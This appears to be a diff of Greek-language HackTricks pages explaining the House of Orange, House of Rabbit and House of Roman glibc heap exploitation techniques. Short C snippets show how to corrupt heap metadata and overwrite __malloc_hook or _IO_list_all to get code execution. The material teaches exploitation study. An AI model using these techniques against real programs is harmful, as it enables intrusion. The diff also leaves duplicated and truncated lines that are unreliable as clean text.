Για να πάρετε το top chunk μέσα στο unsorted bin, εκχωρήστε ένα κομμάτι για να δημιουργήσετε το top chunk, αλλάξτε το μέγεθος του top chunk (με ένα υπερχείλισμα στο εκχωρημένο κομμάτι) έτσι ώστε το **top chunk + μέγεθος** να είναι σελίδα-ευθυγραμμισμένο με το bit **prev\_inuse** να είναι ορισμένο. Στη συνέχεια εκχωρήστε ένα κομμάτι μεγαλύτερο από το νέο μέγεθος του top chunk. Σημειώστε ότι το `free` δεν καλείται ποτέ για να πάρετε το top chunk στο unsorted bin.
Για να πάρετε το κορυφαίο τμήμα μέσα στο unsorted bin, εκχωρήστε ένα τμήμα για να δημιουργήσετε το κορυφαίο τμήμα, αλλάξτε το μέγεθος του κορυφαίου τμήματος (με ένα υπερχείλισμα στο εκχωρημένο τμήμα) έτσι ώστε το **κορυφαίο τμήμα + μέγεθος** να είναι σελίδα-ευθυγραμμισμένο με το bit **prev\_inuse** να είναι ορισμένο. Στη συνέχεια εκχωρήστε ένα τμήμα μεγαλύτερο από το νέο μέγεθος του κορυφαίου τμήματος. Σημειώστε ότι το `free` δεν καλείται ποτέ για να πάρει το κορυφαίο τμήμα στο unsorted bin.
Το παλιό top chunk είναι τώρα στο unsorted bin. Υποθέτοντας ότι μπορούμε να διαβάσουμε δεδομένα μέσα σε αυτό (πιθανώς λόγω μιας ευπαθότητας που προκάλεσε επίσης το υπερχείλισμα), είναι δυνατόν να διαρρεύσουμε διευθύνσεις Libc από αυτό και να πάρουμε τη διεύθυνση του **\_IO\_list\_all**.
Το παλιό κορυφαίο τμήμα είναι τώρα στο unsorted bin. Υποθέτοντας ότι μπορούμε να διαβάσουμε δεδομένα μέσα σε αυτό (πιθανώς λόγω μιας ευπαθότητας που προκάλεσε επίσης το υπερχείλισμα), είναι δυνατό να διαρρεύσουμε διευθύνσεις Libc από αυτό και να πάρουμε τη διεύθυνση του **\_IO\_list\_all**.
Μια επίθεση στο unsorted bin πραγματοποιείται καταχρώμενη το υπερχείλισμα για να γράψει `topChunk->bk->fwd = _IO_list_all - 0x10`. Όταν εκχωρηθεί ένα νέο κομμάτι, το παλιό top chunk θα χωριστεί, και ένας δείκτης στο unsorted bin θα γραφτεί στο **`_IO_list_all`**.
Μια επίθεση στο unsorted bin πραγματοποιείται καταχρώμενη το υπερχείλισμα για να γράψει `topChunk->bk->fwd = _IO_list_all - 0x10`. Όταν εκχωρηθεί ένα νέο τμήμα, το παλιό κορυφαίο τμήμα θα χωριστεί, και ένας δείκτης στο unsorted bin θα γραφτεί στο **`_IO_list_all`**.
Το επόμενο βήμα περιλαμβάνει τη συρρίκνωση του μεγέθους του παλιού top chunk για να χωρέσει σε ένα μικρό bin, συγκεκριμένα να ορίσει το μέγεθός του σε **0x61**. Αυτό εξυπηρετεί δύο σκοπούς:
Το επόμενο βήμα περιλαμβάνει τη συρρίκνωση του μεγέθους του παλιού κορυφαίου τμήματος για να χωρέσει σε ένα μικρό bin, συγκεκριμένα να ορίσει το μέγεθός του σε **0x61**. Αυτό εξυπηρετεί δύο σκοπούς:
1. **Εισαγωγή στο Small Bin 4**: Όταν το `malloc` σαρώνει το unsorted bin και βλέπει αυτό το κομμάτι, θα προσπαθήσει να το εισάγει στο small bin 4 λόγω του μικρού μεγέθους του. Αυτό κάνει το κομμάτι να καταλήξει στην κορυφή της λίστας small bin 4 που είναι η τοποθεσία του δείκτη FD του κομματιού του **`_IO_list_all`** καθώς γράψαμε μια κοντινή διεύθυνση στο **`_IO_list_all`** μέσω της επίθεσης στο unsorted bin.
2. **Ενεργοποίηση ελέγχου Malloc**: Αυτή η διαμόρφωση μεγέθους κομματιού θα προκαλέσει το `malloc` να πραγματοποιήσει εσωτερικούς ελέγχους. Όταν ελέγχει το μέγεθος του Ϩεύθυνσης του ψευδο-εμπρός κομματιού, το οποίο θα είναι μηδέν, προκαλεί ένα σφάλμα και καλεί την `malloc_printerr`.
1. **Εισαγωγή στο Small Bin 4**: Όταν το `malloc` σαρώνει το unsorted bin και βλέπει αυτό το τμήμα, θα προσπαθήσει να το εισάγει στο small bin 4 λόγω του μικρού μεγέθους του. Αυτό κάνει το τμήμα να καταλήξει στην κορυφή της λίστας small bin 4 που είναι η τοποθεσία του δείκτη FD του τμήματος του **`_IO_list_all`** καθώς γράψαμε μια κοντινή διεύθυνση στο **`_IO_list_all`** μέσω της επίθεσης στο unsorted bin.
2. **Ενεργοποίηση ελέγχου Malloc**: Αυτή η διαμόρφωση μεγέθους τμήματος θα προκαλέσει το `malloc` να πραγματοποιήσει εσωτερικούς ελέγχους. Όταν ελέγχει το μέγεθος του Ϩεύθυνσης του ψευδο-εμπρός τμήματος, το οποίο θα είναι μηδέν, προκαλεί ένα σφάλμα και καλεί την `malloc_printerr`.
Η διαχείριση του μικρού bin θα σας επιτρέψει να ελέγξετε τον μπροστινό δείκτη του κομματιού. Η επικάλυψη με το **\_IO\_list\_all** χρησιμοποιείται για να δημιουργήσετε μια ψεύτικη δομή **\_IO\_FILE**. Η δομή διαμορφώνεται προσεκτικά για να περιλαμβάνει βασικά πεδία όπως `_IO_write_base` και `_IO_write_ptr` που ορίζονται σε τιμές που περνούν εσωτερικούς ελέγχους στην libc. Επιπλέον, δημιουργείται ένας πίνακας μετάβασης μέσα στη ψεύτικη δομή, όπου ένας δείκτης εντολών ορίζεται στη διεύθυνση όπου μπορεί να εκτελεστεί αυθαίρετος κώδικας (π.χ., η λειτουργία `system`).
Η διαχείριση του μικρού bin θα σας επιτρέψει να ελέγξετε τον μπροστινό δείκτη του τμήματος. Η επικάλυψη με το **\_IO\_list\_all** χρησιμοποιείται για να δημιουργήσετε μια ψεύτικη δομή **\_IO\_FILE**. Η δομή διαμορφώνεται προσεκτικά για να περιλαμβάνει βασικά πεδία όπως `_IO_write_base` και `_IO_write_ptr` που ορίζονται σε τιμές που περνούν εσωτερικούς ελέγχους στην libc. Επιπλέον, δημιουργείται ένας πίνακας άλματος μέσα στη ψεύτικη δομή, όπου ένας δείκτης εντολών ορίζεται στη διεύθυνση όπου μπορεί να εκτελεστεί αυθαίρετος κώδικας (π.χ., η λειτουργία `system`).
Για να συνοψίσουμε το υπόλοιπο μέρος της τεχνικής:
Για να περιληφθεί το υπόλοιπο μέρος της τεχνικής:
* **Συρρίκνωση του Παλιού Top Chunk**: Ρυθμίστε το μέγεθος του παλιού top chunk σ
* **Συρρίκνωση του Παλιού Κορυφαίου Τμή
## Αναφορές
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_orange/)
* [https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html](https://guyinatuxedo.github.io/43-house\_of\_orange/house\_orange\_exp/index.html)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Σπίτι του Κουνελιού
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
### Απαιτήσεις
1. **Ικανότητα να τροποποιήσετε τον δείκτη fd ή το μέγεθος του fast bin**: Αυτό σημαίνει ότι μπορείτε να αλλάξετε τον προωθούμενο δείκτη ενός τμήματος στο fastbin ή το μέγεθός του.
2. **Ικανότητα να ενεργοποιήσετε το `malloc_consolidate`**: Αυτό μπορεί να γίνει είτε με την εκχώρηση ενός μεγάλου τμήματος είτε με τη συγχώνευση του κορυφαίου τμήματος, το οποίο αναγκάζει τη συγχώνευση των τμημάτων του σωρού.
1. **Ικανότητα τροποποίησης του δείκτη fd ή μεγέθους fast bin**: Αυτό σημαίνει ότι μπορείτε να αλλάξετε τον προωθούμενο δείκτη ενός τμήματος στο fastbin ή το μέγεθός του.
2. **Ικανότητα ενεργοποίησης του `malloc_consolidate`**: Αυτό μπορεί να γίνει είτε με τη δέσμευση ενός μεγάλου τμήματος είτε με τη συγχώνευση του κορυφαίου τμήματος, το οποίο αναγκάζει τη συγχώνευση των τμημάτων του σωρού.
### Στόχοι
1. **Δημιουργία επικαλυπτόμενων τμημάτων**: Να υπάρχει ένα τμήμα που επικαλύπτεται με ένα άλλο, επιτρέποντας περαιτέρω χειρισμούς στο σωρό.
2. **Δημιουργία ψεύτικων τμημάτων**: Να εξαπατήσετε τον εκχωρητή ώστε να θεωρεί ένα ψεύτικο τμήμα ως έγκυρο τμήμα κατά τις λειτουργίες του σωρού.
1. **Δημιουργία επικαλυπτόμενων τμημάτων**: Να υπάρχει ένα τμήμα που επικαλύπτεται με ένα άλλο, επιτρέποντας περαιτέρω διαχείριση του σωρού.
2. **Δημιουργία ψεύτικων τμημάτων**: Να εξαπατήσετε τον διανεμητή ώστε να θεωρήσει ένα ψεύτικο τμήμα ως νόμιμο κατά τις λειτουργίες του σωρού.
## Βήματα της επίθεσης
@ -30,7 +31,7 @@
**Στόχος**: Δημιουργία ενός επικαλυπτόμενου τμήματος με την τροποποίηση του μεγέθους ενός τμήματος fastbin.
* **Βήμα 1: Εκχώρηση Τμημάτων**
* **Βήμα 1: Δέσμευση Τμημάτων**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
@ -41,7 +42,7 @@ malloc(0x10); // Allocates a small chunk to change the
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
* **Βήμα 3: Τροποποίηση Μεγέθους Χάνκ**
* **Βήμα 3: Τροποποίηση Μεγέθους Χαντρών**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
@ -80,16 +81,16 @@ free(chunk1); // Frees the chunk at 0x602000
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Εξήγηση**: Αλλάζουμε τον προωθούμενο δείκτη (`fd`) του `chunk1` ώστε να δείχνει στο ψεύτικο chunk μας μέσα στο `chunk2`.
**Εξήγηση**: Αλλάζουμε τον προωθούμενο δείκτη (`fd`) του `chunk1` ώστε να δείχνει στο ψεύτικο chunk μέσα στο `chunk2`.
* **Βήμα 5: Ενεργοποίηση της `malloc_consolidate`**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Η εκχώρηση ενός μεγάλου κομματιού ξανά ενεργοποιεί το `malloc_consolidate`, το οποίο επεξεργάζεται το ψεύτικο κομμάτι.
Η επαναδιάθεση ενός μεγάλου κομματιού ενεργοποιεί ξανά το `malloc_consolidate`, το οποίο επεξεργάζεται το ψεύτικο κομμάτι.
Το ψεύτικο κομμάτι γίνεται μέρος της λίστας fastbin, καθιστώντας το ένα νόμιμο κομμάτι για περαιτέρω εκμετάλλευση.
### Σύνοψη
Η τεχνική **House of Rabbit** περιλαμβάνει είτε την τροποποίηση του μεγέθους ενός κομματιού fast bin για τη δημιουργία επικαλυπτόμενων κομματιών είτε τη χειραγώγηση του δείκτη `fd` για τη δημιουργία ψεύτικων κομματιών. Αυτό επιτρέπει στους εισβολείς να δημιουργήσουν νόμιμα κομμάτια στη στοίβα, ενεργοποιώντας διάφορες μορφές εκμετάλλευσης. Η κατανόηση και η εξάσκηση αυτών των βημάτων θα βελτιώσει τις δεξιότητές σας στην εκμετάλλευση της στοίβας.
Η τεχνική **House of Rabbit** περιλαμβάνει είτε την τροποποίηση του μεγέθους ενός κομματιού fast bin για τη δημιουργία επικαλυπτόμενων κομματιών είτε τη χειραγώγηση του δείκτη `fd` για τη δημιουργία ψεύτικων κομματιών. Αυτό επιτρέπει στους εισβολείς να δημιουργήσουν νόμιμα κομμάτια στη στοίβα, επιτρέποντας διάφορες μορφές εκμετάλλευσης. Η κατανόηση και η εξάσκηση αυτών των βημάτων θα βελτιώσει τις δεξιότητές σας στην εκμετάλλευση της στοίβας.

View file

@ -1,22 +1,23 @@
# Οίκος του Ρωμαίου
# Οίκος του Roman
{% hint style="success" %}
Μάθε & εξάσκησε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες
Αυτή ήταν μια πολύ ενδιαφέρουσα τεχνική που επέτρεπε την RCE χωρίς διαρροές μέσω ψεύτικων fastbins, επίθεσης στο unsorted\_bin και σχετικών αντικαταστάσεων. Ωστόσο, έχει γίνει [**διόρθωση**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
Αυτή ήταν μια πολύ ενδιαφέρουσα τεχνική που επέτρεπε την RCE χωρίς διαρροές μέσω ψεύτικων fastbins, επίθεση στο unsorted\_bin και σχετικές αντικαταστάσεις. Ωστόσο, έχει [**διορθωθεί**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
### Κώδικας
@ -29,24 +30,24 @@
### Απαιτήσεις
* Επεξεργασία δεικτών fastbin και unsorted bin
* Πρέπει να δοκιμαστούν 12 bits τυχαιότητας (πιθανότητα 0,02%) για να λειτουργήσει
* Πρέπει να υπάρχουν 12 bits τυχαιότητας που πρέπει να αναγκαστούν (πιθανότητα 0,02%) να λειτουργήσουν
## Βήματα Επίθεσης
### Μέρος 1: Το Fastbin Chunk δείχνει στο \_\_malloc\_hook
Δημιουργία πολλών τμημάτων:
Δημιουργήστε αρκετά κομμάτια:
* `fastbin_victim` (0x60, μετατόπιση 0): UAF τμήμα αργότερα για να επεξεργαστεί αργότερα ο δείκτης του σωρού ώστε να δείχνει στην τιμή της LibC.
* `fastbin_victim` (0x60, μετατόπιση 0): UAF κομμάτι αργότερα για να επεξεργαστείτε το δείκτη του σωρού αργότερα ώστε να δείχνει στην τιμή της LibC.
* `chunk2` (0x80, μετατόπιση 0x70): Για καλή ευθυγράμμιση
* `main_arena_use` (0x80, μετατόπιση 0x100)
* `relative_offset_heap` (0x60, μετατόπιση 0x190): σχετική μετατόπιση στο τμήμα 'main\_arena\_use'
* `relative_offset_heap` (0x60, μετατόπιση 0x190): σχετική μετατόπιση στο κομμάτι 'main\_arena\_use'
Στη συνέχεια, `free(main_arena_use)` που θα τοποθετήσει αυτό το τμήμα στη λίστα των μη ταξινομημένων και θα λάβει ένα δείκτη στο `main_arena + 0x68` τόσο στους δείκτες `fd` όσο και `bk`.
Στη συνέχεια, ελευθερώστε το `main_arena_use`, το οποίο θα τοποθετήσει αυτό το κομμάτι στη λίστα unsorted και θα λάβει ένα δείκτη στο `main_arena + 0x68` τόσο στους δείκτες `fd` όσο και `bk`.
Τώρα δεσμεύεται ένα νέο τμήμα `fake_libc_chunk(0x60)` επειδή θα περιέχει τους δείκτες στο `main_arena + 0x68` στους `fd` και `bk`.
Τώρα δεσμεύεται ένα νέο κομμάτι `fake_libc_chunk(0x60)` επειδή θα περιέχει τους δείκτες στο `main_arena + 0x68` στους `fd` και `bk`.
Στη συνέχεια απελευθερώνονται τα `relative_offset_heap` και `fastbin_victim`.
Στη συνέχεια, ελευθερώνονται τα `relative_offset_heap` και `fastbin_victim`.
```c
/*
Current heap layout:
@ -62,18 +63,18 @@ unsorted: leftover_main
*/
```
* &#x20;`fastbin_victim` έχει ένα `fd` που δείχνει στο `relative_offset_heap`
* &#x20;`relative_offset_heap` είναι μια μετατόπιση απόστασης από το `fake_libc_chunk`, το οποίο περιέχει ένα δείκτη στο `main_arena + 0x68`
* &#x20;`relative_offset_heap` είναι μια μετατόπιση απόστασης από το `fake_libc_chunk`, το οποίο περιέχει ένα δείκτη προς το `main_arena + 0x68`
* Αλλάζοντας απλά το τελευταίο byte του `fastbin_victim.fd` είναι δυνατό να κάνουμε το `fastbin_victim` να δείχνει στο `main_arena + 0x68`
Για τις προηγούμενες ενέργειες, ο επιτιθέμενος πρέπει να είναι ικανός να τροποποιήσει τον δείκτη fd του `fastbin_victim`.
Στη συνέχεια, το `main_arena + 0x68` δεν είναι τόσο ενδιαφέρον, οπότε ας το τροποποιήσουμε ώστε ο δείκτης να δείχνει στο **`__malloc_hook`**.
Σημειώστε ότι το `__memalign_hook` συνήθως ξεκινά με `0x7f` και μηδενικά πριν από αυτό, οπότε είναι δυνατό να το πλασάρουμε ως τιμή στο fast bin των `0x70`. Επειδή τα τελευταία 4 bits της διεύθυνσης είναι **τυχαία**, υπάρχουν `2^4=16` πιθανότητες για την τιμή να καταλήξει εκεί που μας ενδιαφέρει. Έτσι εδώ πραγματοποιείται μια επίθεση BF ώστε το κομμάτι να καταλήξει ως εξής: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
Σημειώστε ότι το `__memalign_hook` συνήθως ξεκινά με `0x7f` και μηδενικά πριν από αυτό, οπότε είναι δυνατό να το πλασάρουμε ως τιμή στο fast bin `0x70`. Επειδή τα τελευταία 4 bits της διεύθυνσης είναι **τυχαία**, υπάρχουν `2^4=16` πιθανότητες για την τιμή να καταλήξει εκεί που μας ενδιαφέρει. Έτσι εδώ πραγματοποιείται μια επίθεση BF ώστε το κομμάτι να καταλήξει ως εξής: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
(Για περισσότερες πληροφορίες σχετικά με τα υπόλοιπα bytes ελέγξτε την εξήγηση στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Αν η BF δεν λειτουργήσει, το πρόγραμμα απλά καταρρέει (οπότε ξεκινήστε ξανά μέχρι να λειτουργήσει).
(Για περισσότερες πληροφορίες σχετικά με τα υπόλοιπα bytes ελέγξτε την εξήγηση στο [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)[ παράδειγμα](https://github.com/shellphish/how2heap/blob/master/glibc\_2.23/house\_of\_roman.c)). Αν η BF δεν λειτουργήσει, το πρόγραμμα απλώς καταρρέει (οπότε ξεκινήστε ξανά μέχρι να λειτουργήσει).
Στη συνέχεια, πραγματοποιούνται 2 mallocs για να αφαιρεθούν τα 2 αρχικά fast bin chunks και στη συνέχεια γίνεται μια τρίτη κλήση για να ληφθεί ένα κομμάτι στο **`__malloc_hook:`**.
Στη συνέχεια, πραγματοποιούνται 2 mallocs για να αφαιρεθούν τα 2 αρχικά fast bin chunks και στη συνέχεια γίνεται μια τρίτη κλήση για να ληφθεί ένα κομμάτι στο **`__malloc_hook:`**
```c
malloc(0x60);
malloc(0x60);
@ -87,7 +88,7 @@ uint8_t* malloc_hook_chunk = malloc(0x60);
[unsorted-bin-attack.md](unsorted-bin-attack.md)
{% endcontent-ref %}
Βασικά, επιτρέπει την εγγραφή του `main_arena + 0x68` σε οποιαδήποτε τοποθεσία που καθορίζεται στο `chunk->bk`. Και για την επίθεση επιλέγουμε το `__malloc_hook`. Στη συνέχεια, μετά την αντικατάστασή του θα χρησιμοποιήσουμε μια σχετική αντικατάσταση για να δείχνει σε ένα `one_gadget`.
Βασικά, επιτρέπει την εγγραφή της τιμής `main_arena + 0x68` σε οποιαδήποτε τοποθεσία που καθορίζεται στο `chunk->bk`. Και για την επίθεση επιλέγουμε το `__malloc_hook`. Στη συνέχεια, μετά την αντικατάστασή του, θα χρησιμοποιήσουμε μια σχετική αντικατάσταση για να δείχνει σε ένα `one_gadget`.
Για αυτό ξεκινάμε παίρνοντας ένα κομμάτι και το τοποθετούμε στο **unsorted bin**:
```c
@ -98,19 +99,19 @@ puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);
```
Χρησιμοποιήστε ένα UAF σε αυτό το κομμάτι για να δείξετε το `unsorted_bin_ptr->bk` στη διεύθυνση του `__malloc_hook` (το οποίο έχουμε ήδη υπολογίσει με brute force).
Χρησιμοποιήστε ένα UAF σε αυτό το κομμάτι για να δείξετε το `unsorted_bin_ptr->bk` στη διεύθυνση του `__malloc_hook` (το οποίο το είχαμε υπολογίσει με brute force προηγουμένως).
{% hint style="danger" %}
Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (και τα small και large επίσης). Έτσι, μπορούμε μόνο **να χρησιμοποιήσουμε εκχωρήσεις από το fast bin τώρα** (ένα πιο πολύπλοκο πρόγραμμα ενδέχεται να κάνει άλλες εκχωρήσεις και να καταρρεύσει), και για να ενεργοποιήσουμε αυτό πρέπει **να εκχωρήσουμε τον ίδιο μέγεθος αλλιώς το πρόγραμμα θα καταρρεύσει.**
Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (και τα small και large επίσης). Έτσι μπορούμε μόνο **να χρησιμοποιήσουμε εκχωρήσεις από το fast bin τώρα** (ένα πιο πολύπλοκο πρόγραμμα ενδέχεται να κάνει άλλες εκχωρήσεις και να καταρρεύσει), και για να ενεργοποιήσουμε αυτό πρέπει **να εκχωρήσουμε τον ίδιο μέγεθος αλλιώς το πρόγραμμα θα καταρρεύσει.**
{% endhint %}
Έτσι, για να ενεργοποιήσουμε την εγγραφή του `main_arena + 0x68` στο `__malloc_hook` εκτελούμε μετά την ρύθμιση του `__malloc_hook` στο `unsorted_bin_ptr->bk` απλώς πρέπει να κάνουμε: **`malloc(0x80)`**
### Βήμα 3: Ορισμός του \_\_malloc\_hook σε σύστημα
### Βήμα 3: Ρύθμιση του \_\_malloc\_hook σε σύστημα
Στο πρώτο βήμα καταλήξαμε να ελέγχουμε ένα κομμάτι που περιέχει το `__malloc_hook` (στη μεταβλητή `malloc_hook_chunk`) και στο δεύτερο βήμα καταφέραμε να γράψουμε το `main_arena + 0x68` εδώ.
Τώρα, εκμεταλλευόμαστε μια μερική αντικατάσταση στο `malloc_hook_chunk` για να χρησιμοποιήσουμε τη διεύθυνση libc που γράψαμε εκεί (`main_arena + 0x68`) για **να δείξουμε μια διεύθυνση `one_gadget`**.
Τώρα, εκμεταλλευόμαστε μια μερική επικάλυψη στο `malloc_hook_chunk` για να χρησιμοποιήσουμε τη διεύθυνση libc που γράψαμε εκεί (`main_arena + 0x68`) για **να δείξουμε μια διεύθυνση `one_gadget`**.
